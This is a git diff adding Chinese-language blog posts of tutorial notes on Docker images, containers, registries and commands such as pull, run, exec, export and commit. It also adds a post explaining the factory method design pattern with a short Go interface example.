是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。镜像 **不包含** 任何动态数据,其内容在构建之后也不会被改变。 + +##### 分层存储 + +因为镜像包含操作系统完整的 `root` 文件系统,其体积往往是庞大的,因此在 Docker 设计时,就充分利用 [Union FS](https://en.wikipedia.org/wiki/Union_mount) 的技术,将其设计为分层存储的架构。所以严格来说,镜像并非是像一个 `ISO` 那样的打包文件,镜像只是一个虚拟的概念,其实际体现并非由一个文件组成,而是由一组文件系统组成,或者说,由**多层文件系统**联合组成。 + +镜像构建时,会一层层构建,前一层是后一层的基础。每一层构建完就不会再发生改变,后一层上的任何改变只发生在自己这一层。比如,删除前一层文件的操作,实际不是真的删除前一层的文件,而是仅在当前层标记为该文件已删除。在最终容器运行的时候,虽然不会看到这个文件,但是实际上该文件会一直跟随镜像。因此,在构建镜像的时候,需要额外小心,每一层尽量只包含该层需要添加的东西,任何额外的东西应该在该层构建结束前清理掉。 + +分层存储的特征还使得镜像的复用、定制变的更为容易。甚至可以用之前构建好的镜像作为基础层,然后进一步添加新的层,以定制自己所需的内容,构建新的镜像。 + +> 总结:root 文件系统又被分成多层文件系统。 + +### 3.**容器**(`Container`) + +镜像(`Image`)和容器(`Container`)的关系,就像是面向对象程序设计中的 `类` 和 `实例` 一样,镜像是静态的定义,**容器是镜像运行时的实体**。容器可以被创建、启动、停止、删除、暂停等。 + +> **容器是镜像运行时的实体**。 + +容器的实质是进程,但与直接在宿主执行的进程不同,容器进程运行于属于自己的独立的 [命名空间](https://en.wikipedia.org/wiki/Linux_namespaces)。因此容器可以拥有自己的 `root` 文件系统、自己的网络配置、自己的进程空间,甚至自己的用户 ID 空间。容器内的进程是运行在一个隔离的环境里,使用起来,就好像是在一个独立于宿主的系统下操作一样。这种特性使得容器封装的应用比直接在宿主运行更加安全。也因为这种隔离的特性,很多人初学 Docker 时常常会混淆容器和虚拟机。 + +前面讲过镜像使用的是**分层存储**,容器也是如此。每一个容器运行时,是以**镜像为基础层,在其上创建一个当前容器的存储层**,我们可以称这个为容器运行时读写而准备的存储层为 **容器存储层**。 + +> 以**镜像为基础层,在其上创建一个当前容器的存储层**。 + +按照 Docker 最佳实践的要求,容器不应该向其存储层内写入任何数据,容器存储层要保持无状态化。所有的文件写入操作,都应该使用 [数据卷(Volume)]()、或者 [绑定宿主目录](),在这些位置的读写会跳过容器存储层,直接对宿主(或网络存储)发生读写,其性能和稳定性更高 + +- **文件写入操作应该使用数据卷。**在数据卷的操作会跳过容器存储层。 +- **或者绑定宿主目录。** +- 数据卷的生存周期独立于容器,容器消亡,数据卷不会消亡。因此,使用数据卷后,容器删除或者重新运行之后,数据却不会丢失 + +### 4.**仓库**(`Repository`) + +#### Docker Registry 集中的存储、分发镜像的服务 + +镜像构建完成后,可以很容易的在当前宿主机上运行,但是,如果需要在其它服务器上使用这个镜像,我们就需要一个集中的存储、分发镜像的服务,[Docker Registry]() 就是这样的服务。一个 **Docker Registry** 中可以包含多个 **仓库**(`Repository`);每个仓库可以包含多个 **标签**(`Tag`);每个标签对应一个镜像。 + +仓库 属于 [Docker Registry]() 服务,一个仓库可以包含多个 Tag ,一个 tag 标志 一个镜像。 + +通常,一个仓库会包含同一个软件不同版本的镜像,而标签就常用于对应该软件的各个版本。我们可以通过 **`<仓库名>:<标签>` 的格式来指定具体是这个软件哪个版本的镜像**。如果不给出标签,将以 `latest` 作为默认标签。 仓库名经常以 _两段式路径_ 形式出现,比如 `jwilder/nginx-proxy`,前者往往意味着 Docker Registry 多用户环境下的用户名,后者则往往是对应的软件名。但这并非绝对,取决于所使用的具体 Docker Registry 的软件或服务。 + +#### Docker Registry 公开服务 + +Docker Registry 公开服务是开放给用户使用、允许用户管理镜像的 Registry 服务。一般这类公开服务允许用户免费上传、下载公开的镜像,并可能提供收费服务供用户管理私有镜像。 + +最常使用的 Registry 公开服务是官方的 [Docker Hub](https://hub.docker.com/),这也是默认的 Registry,并拥有大量的高质量的 [官方镜像](https://hub.docker.com/search?q=&type=image&image_filter=official)。除此以外,还有 Red Hat 的 [Quay.io](https://quay.io/repository/);Google 的 [Google Container Registry](https://cloud.google.com/container-registry/),[Kubernetes](https://kubernetes.io/) 的镜像使用的就是这个服务;代码托管平台 [GitHub](https://github.com) 推出的 [ghcr.io](https://docs.github.com/cn/packages/working-with-a-github-packages-registry/working-with-the-container-registry)。 + +由于某些原因,在国内访问这些服务可能会比较慢。国内的一些云服务商提供了针对 Docker Hub 的镜像服务(`Registry Mirror`),这些镜像服务被称为 **加速器**。常见的有 [阿里云加速器](https://www.aliyun.com/product/acr?source=5176.11533457&userCode=8lx5zmtu)、[DaoCloud 加速器](https://www.daocloud.io/mirror#accelerator-doc) 等。使用加速器会直接从国内的地址下载 Docker Hub 的镜像,比直接从 Docker Hub 下载速度会提高很多。在 [安装 Docker]() 一节中有详细的配置方法。 + +国内也有一些云服务商提供类似于 Docker Hub 的公开服务。比如 [网易云镜像服务](https://c.163.com/hub#/m/library/)、[DaoCloud 镜像市场](https://hub.daocloud.io/)、[阿里云镜像库](https://www.aliyun.com/product/acr?source=5176.11533457&userCode=8lx5zmtu) 等。, + +#### 私有 Docker Registry + +除了使用公开服务外,用户还可以在本地搭建私有 Docker Registry。Docker 官方提供了 [Docker Registry](https://hub.docker.com/_/registry/) 镜像,可以直接使用做为私有 Registry 服务。在 [私有仓库]() 一节中,会有进一步的搭建私有 Registry 服务的讲解。 + +开源的 Docker Registry 镜像只提供了 [Docker Registry API](https://docs.docker.com/registry/spec/api/) 的服务端实现,足以支持 `docker` 命令,不影响使用。但不包含图形界面,以及镜像维护、用户管理、访问控制等高级功能。 + +除了官方的 Docker Registry 外,还有第三方软件实现了 Docker Registry API,甚至提供了用户界面以及一些高级功能。比如,[Harbor](https://github.com/goharbor/harbor) 和 [Sonatype Nexus]()。 + +### 5.使用镜像 + +在之前的介绍中,我们知道镜像是 Docker 的三大组件之一。 + +Docker 运行容器前需要本地存在对应的镜像,如果本地不存在该镜像,Docker 会从镜像仓库下载该镜像。 + +更多关于镜像的内容,包括: + +- 从仓库获取镜像; + +- 管理本地主机上的镜像; + +- 介绍镜像实现的基本原理。 + +#### 获取镜像 + +``` +$ docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签] + +$ docker pull ubuntu:18.04 +Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/create?fromImage=ubuntu&tag=18.04": dial unix /var/run/docker.sock: connect: permission denied + +$ sudo chown gongna:docker /var/run/docker.sock + +$ docker pull ubuntu:18.04 +18.04: Pulling from library/ubuntu +22c5ef60a68e: Pull complete +Digest: sha256:eb1392bbdde63147bc2b4ff1a4053dcfe6d15e4dfd3cce29e9b9f52a4f88bc74 +Status: Downloaded newer image for ubuntu:18.04 +docker.io/library/ubuntu:18.04 + +$ ls -l /var/run/docker.sock +srw-rw---- 1 gongna docker 0 8月 14 14:45 /var/run/docker.sock + +$ docker run -it --rm ubuntu:18.04 bash +oot@14acce5f0a73:/# cat /etc/os-release +NAME="Ubuntu" +VERSION="18.04.6 LTS (Bionic Beaver)" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 18.04.6 LTS" +VERSION_ID="18.04" +HOME_URL="https://www.ubuntu.com/" +SUPPORT_URL="https://help.ubuntu.com/" +BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" +PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" +VERSION_CODENAME=bionic +UBUNTU_CODENAME=bionic +root@14acce5f0a73:/# go env +bash: go: command not found +root@14acce5f0a73:/# ^C +root@14acce5f0a73:/# ^C +root@14acce5f0a73:/# + + + + + + +``` + +- `-it`:这是两个参数,一个是 `-i`:交互式操作,一个是 `-t` 终端。我们这里打算进入 `bash` 执行一些命令并查看返回结果,因此我们需要交互式终端。 + +- `--rm`:这个参数是说容器退出后随之将其删除。默认情况下,为了排障需求,退出的容器并不会立即删除,除非手动 `docker rm`。我们这里只是随便执行个命令,看看结果,不需要排障和保留结果,因此使用 `--rm` 可以避免浪费空间。 + +- `ubuntu:18.04`:这是指用 `ubuntu:18.04` 镜像为基础来启动容器。 + +- bash`:放在镜像名后的是 **命令**,这里我们希望有个交互式 Shell,因此用的是 `bash + +### 6.列出镜像 + +``` +$ docker image ls +ubuntu 18.04 8d5df41c547b 2 weeks ago 63.1MB +hello-world latest feb5d9fea6a5 10 months ago 13.3kB +``` + +列表包含了 `仓库名`、`标签`、`镜像 ID`、`创建时间` 以及 `所占用的空间`。 + +其中仓库名、标签在之前的基础概念章节已经介绍过了。**镜像 ID** 则是镜像的唯一标识,一个镜像可以对应多个 **标签**。因此,在上面的例子中,如果 拥有相同的 ID,因为它们对应的是同一个镜像。 + +### 7.镜像体积 + +如果仔细观察,会注意到,这里标识的所占用空间和在 Docker Hub 上看到的镜像大小不同。比如,`ubuntu:18.04` 镜像大小,在这里是 `63.3MB`,但是在 [Docker Hub](https://hub.docker.com/layers/ubuntu/library/ubuntu/bionic/images/sha256-32776cc92b5810ce72e77aca1d949de1f348e1d281d3f00ebcc22a3adcdc9f42?context=explore) 显示的却是 `25.47 MB`。这是因为 Docker Hub 中显示的体积是压缩后的体积。在镜像下载和上传过程中镜像是保持着压缩状态的,因此 Docker Hub 所显示的大小是网络传输中更关心的流量大小。而 `docker image ls` 显示的是镜像下载到本地后,展开的大小,准确说,是展开后的各层所占空间的总和,因为镜像到本地后,查看空间的时候,更关心的是本地磁盘空间占用的大小。 + +另外一个需要注意的问题是,`docker image ls` 列表中的镜像体积总和并非是所有镜像实际硬盘消耗。由于 Docker 镜像是多层存储结构,并且可以继承、复用,因此不同镜像可能会因为使用相同的基础镜像,从而拥有共同的层。由于 Docker 使用 Union FS,相同的层只需要保存一份即可,因此实际镜像硬盘占用空间很可能要比这个列表镜像大小的总和要小的多。 + +可以通过 `docker system df` 命令来便捷的查看镜像、容器、数据卷所占用的空间 + +``` +$ docker system df +TYPE TOTAL ACTIVE SIZE RECLAIMABLE +Images 2 0 63.16MB 63.16MB (100%) +Containers 0 0 0B 0B +Local Volumes 0 0 0B 0B +Build Cache 0 0 0B 0B +``` + +##### 中间层镜像 + +为了加速镜像构建、重复利用资源,Docker 会利用 **中间层镜像**。所以在使用一段时间后,可能会看到一些依赖的中间层镜像。默认的 `docker image ls` 列表中只会显示顶层镜像,如果希望显示包括中间层镜像在内的所有镜像的话,需要加 `-a` 参数 + +```shell + docker image ls -a +``` + +##### 列出部分镜像 + +不加任何参数的情况下,`docker image ls` 会列出所有顶层镜像,但是有时候我们只希望列出部分镜像。`docker image ls` 有好几个参数可以帮助做到这个事情。 + +根据仓库名列出镜像 + +```shell +docker image ls ubuntu +REPOSITORY TAG IMAGE ID CREATED SIZE + +ubuntu 18.04 329ed837d508 3 days ago 63.3MB + +ubuntu bionic 329ed837d508 3 days ago 63.3MB +``` + +##### 列出特定的某个镜像,也就是说指定仓库名和标签 +##### 列出指定格式 + +``` +$ docker image ls --format "ID: Repository" +5f515359c7f8: redis +05a60462f8ba: nginx +fe9198c04d62: mongo +00285df0df87: +329ed837d508: ubuntu +329ed837d508: ubuntu +``` + +#### 8.删除本地镜像 + +```shell +$ docker image rm [选项] <镜像1> [<镜像2> ...] +``` + +``` +$ docker image ls +REPOSITORY TAG IMAGE ID CREATED SIZE +centos latest 0584b3d2cf6d 3 weeks ago 196.5 MB +redis alpine 501ad78535f0 3 weeks ago 21.03 MB +docker latest cf693ec9b5c7 3 weeks ago 105.1 MB +nginx +``` + +``` +$ docker image rm 501 +Untagged: redis:alpine +Untagged: redis@sha256:f1ed3708f538b537eb9c2a7dd50dc90a706f7debd7e1196c9264edeea521a86d +Deleted: sha256:501ad78535f015d88872e13fa87a828425117e3d28075d0c117932b05bf189b7 +Deleted: sha256:96167737e29ca8e9d74982ef2a0dda76ed7b430da55e321c071f0dbff8c2899b +Deleted: sha256:32770d1dcf835f192cafd6b9263b7b597a1778a403a109e2cc2ee866f74adf23 +Deleted: sha256:127227698ad74a5846ff5153475e03439d96d4b1c7f2a449c7a826ef74a2d2fa +Deleted: sha256:1333ecc582459bac54e1437335c0816bc17634e131ea0cc48daa27d32c75eab3 +Deleted: sha256:4fc455b921edf9c4aea207c51ab39b10b06540c8b4825ba57b3feed1668fa7c7 +``` + +- 我们可以用镜像的完整 ID,也称为 `长 ID`,来删除镜像。使用脚本的时候可能会用长 ID,但是人工输入就太累了,所以更多的时候是用 `短 ID` 来删除镜像。`docker image ls` 默认列出的就已经是短 ID 了,一般取前 3 个字符以上,只要足够区分于别的镜像就可以了 +- 我们也可以用`镜像名`,也就是 `<仓库名>:<标签>`,来删除镜像。 + +``` +$ docker image rm centos +Untagged: centos:latest +Untagged: centos@sha256:b2f9d1c0ff5f87a4743104d099a3d561002ac500db1b9bfa02a783a46e0d366c +Deleted: sha256:0584b3d2cf6d235ee310cf14b54667d889887b838d3f3d3033acd70fc3c48b8a +Deleted: sha256:97ca462ad9eeae25941546209454496e1d66749d53dfa2ee32bf1faabd239d38 +``` + +当然,更精确的是使用 `镜像摘要` 删除镜像。 + +``` +$ docker image ls --digests +REPOSITORY TAG DIGEST IMAGE ID CREATED SIZE +node slim sha256:b4f0e0bdeb578043c1ea6862f0d40cc4afe32a4a582f3be235a3b164422be228 6e0c4c8e3913 3 weeks ago 214 MB + +$ docker image rm node@sha256:b4f0e0bdeb578043c1ea6862f0d40cc4afe32a4a582f3be235a3b164422be228 +Untagged: node@sha256:b4f0e0bdeb578043c1ea6862f0d40cc4afe32a4a582f3be235a3b164422be228 +``` + +#### 9.Untagged 和 Deleted + +如果观察上面这几个命令的运行输出信息的话,会注意到删除行为分为两类,一类是 `Untagged`,另一类是 `Deleted`。我们之前介绍过,镜像的唯一标识是其 ID 和摘要,而一个镜像可以有多个标签。 + +因此当我们使用上面命令删除镜像的时候,实际上是在要求删除某个标签的镜像。所以首先需要做的是将满足我们要求的所有镜像标签都取消,这就是我们看到的 `Untagged` 的信息。因为一个镜像可以对应多个标签,因此当我们删除了所指定的标签后,可能还有别的标签指向了这个镜像,如果是这种情况,那么 `Delete` 行为就不会发生。所以并非所有的 `docker image rm` 都会产生删除镜像的行为,有可能仅仅是取消了某个标签而已。 + +当该镜像所有的标签都被取消了,该镜像很可能会失去了存在的意义,因此会触发删除行为。镜像是多层存储结构,因此在删除的时候也是从上层向基础层方向依次进行判断删除。镜像的多层结构让镜像复用变得非常容易,因此很有可能某个其它镜像正依赖于当前镜像的某一层。这种情况,依旧不会触发删除该层的行为。直到没有任何层依赖当前层时,才会真实的删除当前层。这就是为什么,有时候会奇怪,为什么明明没有别的标签指向这个镜像,但是它还是存在的原因,也是为什么有时候会发现所删除的层数和自己 `docker pull` 看到的层数不一样的原因。 + +除了镜像依赖以外,还需要注意的是容器对镜像的依赖。如果有用这个镜像启动的容器存在(即使容器没有运行),那么同样不可以删除这个镜像。之前讲过,容器是以镜像为基础,再加一层容器存储层,组成这样的多层存储结构去运行的。因此该镜像如果被这个容器所依赖的,那么删除必然会导致故障。如果这些容器是不需要的,应该先将它们删除,然后再来删除镜像。 + +#### 10.用 docker image ls 命令来配合 + +像其它可以承接多个实体的命令一样,可以使用 `docker image ls -q` 来配合使用 `docker image rm`,这样可以成批的删除希望删除的镜像。我们在“镜像列表”章节介绍过很多过滤镜像列表的方式都可以拿过来使用。 + +比如,我们需要删除所有仓库名为 `redis` 的镜像: + +``` +$ docker image rm $(docker image ls -q redis) +``` + +或者删除所有在 `mongo:3.2` 之前的镜像: + +``` +$ docker image rm $(docker image ls -q -f before=mongo:3.2) +``` diff --git a/_posts/2022-08-20-test-markdown.md b/_posts/2022-08-20-test-markdown.md new file mode 100644 index 000000000000..add7d7f09589 --- /dev/null +++ b/_posts/2022-08-20-test-markdown.md @@ -0,0 +1,220 @@ +--- +layout: post +title: 如何操作Docker容器 +subtitle: +tags: [docker] +--- +# **操作容器** + +容器是 Docker 又一核心概念。 + +简单的说,容器是独立运行的一个或一组**应用**,以及它们的**运行态环境**。对应的,虚拟机可以理解为模拟运行的一整套操作系统(提供了运行态环境和其他系统环境)和跑在上面的应用。 + +本章将具体介绍如何来管理一个容器,包括创建、启动和停止等。 + +### 1.新建并启动 + +所需要的命令主要为 `docker run`。 + +例如,下面的命令输出一个 “Hello World”,之后终止容器。 + +``` +$ docker run ubuntu:18.04 /bin/echo 'Hello world' + +Hello world +``` + +下面的命令则启动一个 bash 终端,允许用户进行交互 + +``` +$ docker run -t -i ubuntu:18.04 /bin/bash +root@af8bae53bdd3:/# +``` + +其中,`-t` 选项让Docker分配一个伪终端(pseudo-tty)并绑定到容器的标准输入上, `-i` 则让容器的标准输入保持打开。 + +``` +root@af8bae53bdd3:/# pwd +/ +root@af8bae53bdd3:/# ls +bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var +``` + +Docker 在后台运行的标准操作包括: + +- 检查本地是否存在指定的镜像,不存在就从 [registry]() 下载 +- 利用镜像创建并启动一个容器 +- 分配一个文件系统,并在只读的镜像层外面挂载一层可读写层 +- 从宿主主机配置的网桥接口中桥接一个虚拟接口到容器中去 +- 从地址池配置一个 `ip` 地址给容器 +- 执行用户指定的应用程序 +- 执行行完毕后容器被终止 + +### 2.启动已终止容器 + +可以利用 `docker container start` 命令,直接将一个已经终止(`exited`)的容器启动运行。 + +容器的核心为所执行的应用程序,所需要的资源都是应用程序运行所必需的。除此之外,并没有其它的资源。可以在伪终端中利用 `ps` 或 `top` 来查看进程信息。 + +``` +root@ba267838cc1b:/# ps + PID TTY TIME CMD + 1 ? 00:00:00 bash + 11 ? 00:00:00 ps +``` + +可见,容器中仅运行了指定的 bash 应用。这种特点使得 Docker 对资源的利用率极高,是货真价实的轻量级虚拟化。 + +### 3.**守护态运行** + +``` +$ docker run ubuntu:18.04 /bin/sh -c "while true; do echo hello world; sleep 1; done" +hello world +hello world +hello world +hello world +``` + +如果使用了 `-d` 参数运行容器。 + +``` +$ docker run -d ubuntu:18.04 /bin/sh -c "while true; do echo hello world; sleep 1; done" +77b2dc01fe0f3f1265df143181e7b9af5e05279a884f4776ee75350ea9d8017a +``` + +此时容器会在后台运行并不会把输出的结果 (STDOUT) 打印到宿主机上面(输出结果可以用 `docker logs` 查看)。 + +**注:** 容器是否会长久运行,是和 `docker run` 指定的命令有关,和 `-d` 参数无关。 + +使用 `-d` 参数启动后会返回一个唯一的 id,也可以通过 `docker container ls` 命令来查看容器信息。 + +``` +$ docker container ls +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +77b2dc01fe0f ubuntu:18.04 /bin/sh -c 'while tr 2 minutes ago Up 1 minute agitated_wright +``` + +要获取容器的输出信息,可以通过 `docker container logs` 命令 + +``` +$ docker container logs [container ID or NAMES] +hello world +hello world +hello world +. . . +``` + +可以使用 `docker container stop` 来终止一个运行中的容器。 + +此外,当 Docker 容器中指定的应用终结时,容器也自动终止。 + +例如对于上一章节中只启动了一个终端的容器,用户通过 `exit` 命令或 `Ctrl+d` 来退出终端时,所创建的容器立刻终止。 + +终止状态的容器可以用 `docker container ls -a` 命令看到。例如 + +``` +$ docker container ls -a +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +ba267838cc1b ubuntu:18.04 "/bin/bash" 30 minutes ago Exited (0) About a minute ago trusting_newton +``` + +处于终止状态的容器,可以通过 `docker container start` 命令来重新启动。 + +此外,`docker container restart` 命令会将一个运行态的容器终止,然后再重新启动它。 + +### 4.进入容器 + +在使用 `-d` 参数时,容器启动后会进入后台。 + +某些时候需要进入容器进行操作,包括使用 `docker attach` 命令或 `docker exec` 命令,推荐大家使用 `docker exec` 命令,原因会在下面说明。 + +##### `attach` 命令 + +下面示例如何使用 `docker attach` 命令。 + +``` +$ docker run -dit ubuntu +243c32535da7d142fb0e6df616a3c3ada0b8ab417937c853a9e1c251f499f550 + +$ docker container ls +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +243c32535da7 ubuntu:latest "/bin/bash" 18 seconds ago Up 17 seconds nostalgic_hypatia + +$ docker attach 243c +root@243c32535da7:/# +``` + +*注意:* 如果从这个 stdin 中 exit,会导致容器的停止。 + +##### `exec` 命令 + +`-i` `-t` 参数 + +`docker exec` 后边可以跟多个参数,这里主要说明 `-i` `-t` 参数。 + +``` +$ docker run -dit ubuntu +69d137adef7a8a689cbcb059e94da5489d3cddd240ff675c640c8d96e84fe1f6 + +$ docker container ls +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +69d137adef7a ubuntu:latest "/bin/bash" 18 seconds ago Up 17 seconds zealous_swirles + +$ docker exec -i 69d1 bash +ls +bin +boot +dev +... + +$ docker exec -it 69d1 bash +root@69d137adef7a:/# +``` + +如果从这个 stdin 中 exit,不会导致容器的停止。这就是为什么推荐大家使用 `docker exec` 的原因。 + +### 5.容器的导入和导出 + +##### 导出容器 + +如果要导出本地某个容器,可以使用 `docker export` 命令 + +``` +$ docker container ls -a +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +7691a814370e ubuntu:18.04 "/bin/bash" 36 hours ago Exited (0) 21 hours ago test +$ docker export 7691a814370e > ubuntu.tar +``` + +这样将导出容器快照到本地文件 + +##### 导入容器快照 + +``` +$ cat ubuntu.tar | docker import - test/ubuntu:v1.0 +$ docker image ls +REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE +test/ubuntu v1.0 9d37a6082e97 About a minute ago 171.3 MB +``` + +可以使用 `docker import` 从容器快照文件中再导入为镜像,例如 + +``` +$ docker import http://example.com/exampleimage.tgz example/imagerepo +``` + +### 6.**删除容器** + +可以使用 `docker container rm` 来删除一个处于终止状态的容器。例如 + +``` +$ docker container rm trusting_newton +trusting_newton +``` + +清理所有处于终止状态的容器 + +``` +$ docker container prune +``` + diff --git a/_posts/2022-08-21-test-markdown.md b/_posts/2022-08-21-test-markdown.md new file mode 100644 index 000000000000..2728beb3189f --- /dev/null +++ b/_posts/2022-08-21-test-markdown.md @@ -0,0 +1,92 @@ +--- +layout: post +title: 利用 commit 理解镜像构成 +subtitle: 镜像是容器的基础 +tags: [Microservices gateway ] +--- +# **利用 commit 理解镜像构成** + +注意: `docker commit` 命令除了学习之外,还有一些特殊的应用场合,比如被入侵后保存现场等。但是,不要使用 `docker commit` 定制镜像,定制镜像应该使用 `Dockerfile` 来完成。 + +镜像是容器的基础,每次执行 `docker run` 的时候都会指定哪个镜像作为容器运行的基础。在之前的例子中,我们所使用的都是来自于 Docker Hub 的镜像。直接使用这些镜像是可以满足一定的需求,而当这些镜像无法直接满足需求时,我们就需要定制这些镜像。接下来的几节就将讲解如何定制镜像。 + +回顾一下之前我们学到的知识,`镜像是多层存储`,每一层是在前一层的基础上进行的修改;而`容器同样也是多层存储`,是在以镜像为基础层,**在其基础上加一层作为容器运行时的存储层**。 + +现在让我们以定制一个 Web 服务器为例子,来讲解镜像是如何构建的 + +``` +$ docker run --name webserver -d -p 80:80 nginx +``` + +这条命令会用 `nginx` 镜像启动一个容器,命名为 `webserver`,并且映射了 80 端口,这样我们可以用浏览器去访问这个 `nginx` 服务器。 + +如果是在本机运行的 Docker,那么可以直接访问:`http://localhost` ,如果是在虚拟机、云服务器上安装的 Docker,则需要将 `localhost` 换为虚拟机地址或者实际云服务器地址。 + +直接用浏览器访问的话,我们会看到默认的 Nginx 欢迎页面。 + +现在,假设我们非常不喜欢这个欢迎页面,我们希望改成欢迎 Docker 的文字,我们可以使用 `docker exec` 命令进入容器,修改其内容。 + +``` +$ docker exec -it webserver bash +root@3729b97e8226:/# echo '

Hello, Docker!

' > /usr/share/nginx/html/index.html +root@3729b97e8226:/# exit +exit +``` + +我们以交互式终端方式进入 `webserver` 容器,并执行了 `bash` 命令,也就是获得一个可操作的 Shell。 + +然后,我们用 `

Hello, Docker!

` 覆盖了 `/usr/share/nginx/html/index.html` 的内容。 + +现在我们再刷新浏览器的话,会发现内容被改变了。 + +我们修改了容器的文件,也就是改动了容器的存储层。我们可以通过 `docker diff` 命令看到具体的改动。 + +``` +$ docker diff webserver +C /root +A /root/.bash_history +C /run +C /usr +C /usr/share +C /usr/share/nginx +C /usr/share/nginx/html +C /usr/share/nginx/html/index.html +C /var +C /var/cache +C /var/cache/nginx +A /var/cache/nginx/client_temp +A /var/cache/nginx/fastcgi_temp +A /var/cache/nginx/proxy_temp +A /var/cache/nginx/scgi_temp +A /var/cache/nginx/uwsgi_temp +``` + +现在我们定制好了变化,我们希望能将其保存下来形成镜像。 + +要知道,当我们运行一个容器的时候(如果不使用卷的话),我们做的任何文件修改都会被记录于容器存储层里。而 Docker 提供了一个 `docker commit` 命令,可以将容器的存储层保存下来成为镜像。换句话说,就是在原有镜像的基础上,再叠加上容器的存储层,并构成新的镜像。以后我们运行这个新镜像的时候,就会拥有原有容器最后的文件变化。 + +``` +$ docker commit \ + --author "Tao Wang " \ + --message "修改了默认网页" \ + webserver \ + nginx:v2 +sha256:07e33465974800ce65751acc279adc6ed2dc5ed4e0838f8b86f0c87aa1795214 +``` + +我们还可以用 `docker history` 具体查看镜像内的历史记录,如果比较 `nginx:latest` 的历史记录,我们会发现新增了我们刚刚提交的这一层。 + +``` +$ docker history nginx:v2 +IMAGE CREATED CREATED BY SIZE COMMENT +07e334659748 54 seconds ago nginx -g daemon off; 95 B 修改了默认网页 +e43d811ce2f4 4 weeks ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon 0 B + 4 weeks ago /bin/sh -c #(nop) EXPOSE 443/tcp 80/tcp 0 B + 4 weeks ago /bin/sh -c ln -sf /dev/stdout /var/log/nginx/ 22 B + 4 weeks ago /bin/sh -c apt-key adv --keyserver hkp://pgp. 58.46 MB + 4 weeks ago /bin/sh -c #(nop) ENV NGINX_VERSION=1.11.5-1 0 B + 4 weeks ago /bin/sh -c #(nop) MAINTAINER NGINX Docker Ma 0 B + 4 weeks ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0 B + 4 weeks ago /bin/sh -c #(nop) ADD file:23aa4f893e3288698c 123 MB +``` + diff --git a/_posts/2022-08-27-test-markdown.md b/_posts/2022-08-27-test-markdown.md new file mode 100644 index 000000000000..60475655bb4e --- /dev/null +++ b/_posts/2022-08-27-test-markdown.md @@ -0,0 +1,174 @@ +--- +layout: post +title: 工厂方法 +subtitle: 虚拟构造函数、Virtual Constructor、Factory Method +tags: [Microservices gateway ] +--- +# 工厂方法 + +> 虚拟构造函数、Virtual Constructor、Factory Method + +**工厂方法模式**是一种创建型设计模式, 其在父类中提供一个创建对象的方法, 允许子类决定实例化对象的类型。 + +假设正在开发一款物流管理应用。 最初版本只能处理卡车运输, 因此大部分代码都在位于名为 `卡车`的类中。 + +一段时间后, 这款应用变得极受欢迎。 每天都能收到十几次来自海运公司的请求, 希望应用能够支持海上物流功能。 + +![在程序中新增一个运输类会遇到问题](https://refactoringguru.cn/images/patterns/diagrams/factory-method/problem1-zh.png) + +如果代码其余部分与现有类已经存在耦合关系, 那么向程序中添加新类其实并没有那么容易。 + +> 现有的代码是基于现有的类。如果想要利用原有的代码,并且增加新的类,不是那么的容易。 +> +> 大部分代码都与 `卡车`类相关。 在程序中添加 `轮船`类需要修改全部代码。 更糟糕的是, 如果以后需要在程序中支持另外一种运输方式, 很可能需要再次对这些代码进行大幅修改 + +## 解决方案 + +工厂方法模式建议使用特殊的*工厂*方法代替对于对象构造函数的直接调用 (即使用 `new`运算符)。 不用担心, 对象仍将通过 `new`运算符创建, 只是该运算符改在工厂方法中调用罢了。 工厂方法返回的对象通常被称作 “产品”。 + +**也就是说,在我们的代码中创建一个新的类,并不是动手写代码,直接创建出这个类,因为不知道,在将来会不会需要创建出和这个类平等功能的类。** + +![创建者类结构](https://refactoringguru.cn/images/patterns/diagrams/factory-method/solution1.png) + +乍看之下, 这种更改可能毫无意义: 我们只是改变了程序中调用构造函数的位置而已。 但是, 仔细想一下, 现在可以在子类中重写工厂方法, 从而改变其创建产品的类型。 + +但有一点需要注意:仅当这些产品具有共同的基类或者接口时, 子类才能返回不同类型的产品, 同时基类中的工厂方法还应将其返回类型声明为这一共有接口。 + +- **工厂方法的返回类型应该是共有的接口类型。** + +- **工厂方法应该是无参的,问题是如果是无参的,那么创建类需要的数据从哪里来?好问题,如果是类的方法,类本身包含创建本身的数据,或者该类从参数中获取需要的数据。** + + ``` + type Transport interface { + Drive() + } + func (c *RoadLogistics) Drive() { + //todo + } + func (b *SeaLogistics) Drive() { + //todo + } + type Creater interface{ + CreateTransport() Transport + } + func (c *RoadLogistics) CreateTransport() Transport{ + //todo + return c + } + func (b *SeaLogistics) CreateTransport() Transport { + //todo + return b + } + + ``` + + + +举例来说, `卡车`Truck和 `轮船`Ship类都必须实现 `运输`Trans­port`接口, 该接口声明了一个名为 `deliv­er`交付的方法。 每个类都将以不同的方式实现该方法: 卡车走陆路交付货物, 轮船走海路交付货物。 `陆路运输`Road­Logis­tics类中的工厂方法返回卡车对象, 而 `海路运输``Sea­Logis­tics`类则返回轮船对象。举例来说, `卡车`Truck和 `轮船`Ship类都必须实现 `运输``Trans­port`接口, 该接口声明了一个名为 `deliv­er`交付的方法。 每个类都将以不同的方式实现该方法: 卡车走陆路交付货物, 轮船走海路交付货物。 `陆路运输``Road­Logis­tics`类中的工厂方法返回卡车对象, 而 `海路运输`Sea­Logis­tics类则返回轮船对象。 + +只要产品类实现一个共同的接口, 就可以将其对象传递给客户代码, 而无需提供额外数据。 + +调用工厂方法的代码 (通常被称为*客户端*代码) 无需了解不同子类返回实际对象之间的差别。 客户端将所有产品视为抽象的 